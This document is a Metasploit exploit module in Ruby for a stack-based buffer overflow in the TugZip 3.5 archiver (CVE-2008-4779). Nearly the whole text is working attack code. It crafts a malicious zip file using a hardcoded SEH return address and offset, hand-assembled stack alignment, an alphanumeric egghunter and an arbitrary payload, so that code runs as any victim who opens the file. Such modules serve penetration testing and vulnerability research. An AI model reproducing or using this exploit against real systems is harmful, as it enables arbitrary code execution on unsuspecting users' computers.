TugZip 3.5 Zip File Parsing Buffer Overflow

`##  
# $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex/zip'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability  
in the latest version 3.5 of TugZip archiving utility.  
In order to trigger the vulnerability, an attacker must convince someone  
to load a specially crafted zip file with TugZip by double click or file open.  
By doing so, an attacker can execute arbitrary code as the victim user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Stefan Marin', # Vulnerability discovery  
'Lincoln', # Corelan team. Original exploit  
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module  
'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module  
],  
'Version' => '$Revision: 13868 $',  
'References' =>  
[  
[ 'OSVDB', '49371' ],  
[ 'CVE', '2008-4779' ],  
[ 'BID', '17432' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]  
],  
'Platform' => [ 'win' ],  
'Payload' =>  
{  
'BadChars' => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),  
'DisableNops' => true, # no need  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EDI', # Egghunter jmp EDI  
}  
},  
  
'Targets' =>  
[  
[  
'Universal',  
{  
'Ret' => 0x7e0c307e,  
# 5.00.2147.1 [ztvcabinet.dll]  
# POP EBX > POP EBP > RETN  
'Offset' => 372, # to nseh  
}  
],  
],  
'DislosureDate' => 'Oct 28 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),  
], self.class)  
  
end  
  
def exploit  
  
# Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)  
# base register ESI  
hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"  
hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"  
eggtag = 'w00t' * 2  
  
getpc_asm = %q{  
popad  
popad  
popad  
popad  
popad  
pop ebx  
}  
  
# Align EBX for hunter  
alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string  
  
# Align for ESI + factoring mangled chars  
alignment << "\x89\x05" # jmp short (5 bytes) to 'jmp back' at end  
alignment << "\x5e" # pop esi  
alignment << "\x41" # nop (inc ecx)  
alignment << "\x98\x99" # call esi  
alignment << "\x41" # nop (inc ecx)  
alignment << "\x8a\x94\x98\x98\x98" # jmp back to pop esi  
  
getpc_asm = %q{  
popad  
pop esp  
inc eax  
inc eax  
}  
  
# Realign stack pointer  
nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string  
  
seh = [target.ret].pack("V*")  
  
sploit = rand_text_alpha(target['Offset'])  
sploit << nseh << seh   
sploit << alignment  
sploit << hunter  
sploit << eggtag << payload.encoded  
  
zip = Rex::Zip::Archive.new  
xtra = [0xdac0ffee].pack('V')  
comment = [0xbadc0ded].pack('V')  
zip.add_file(sploit, xtra, comment)  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file...")  
  
file_create(zip.pack)  
end  
  
end  
`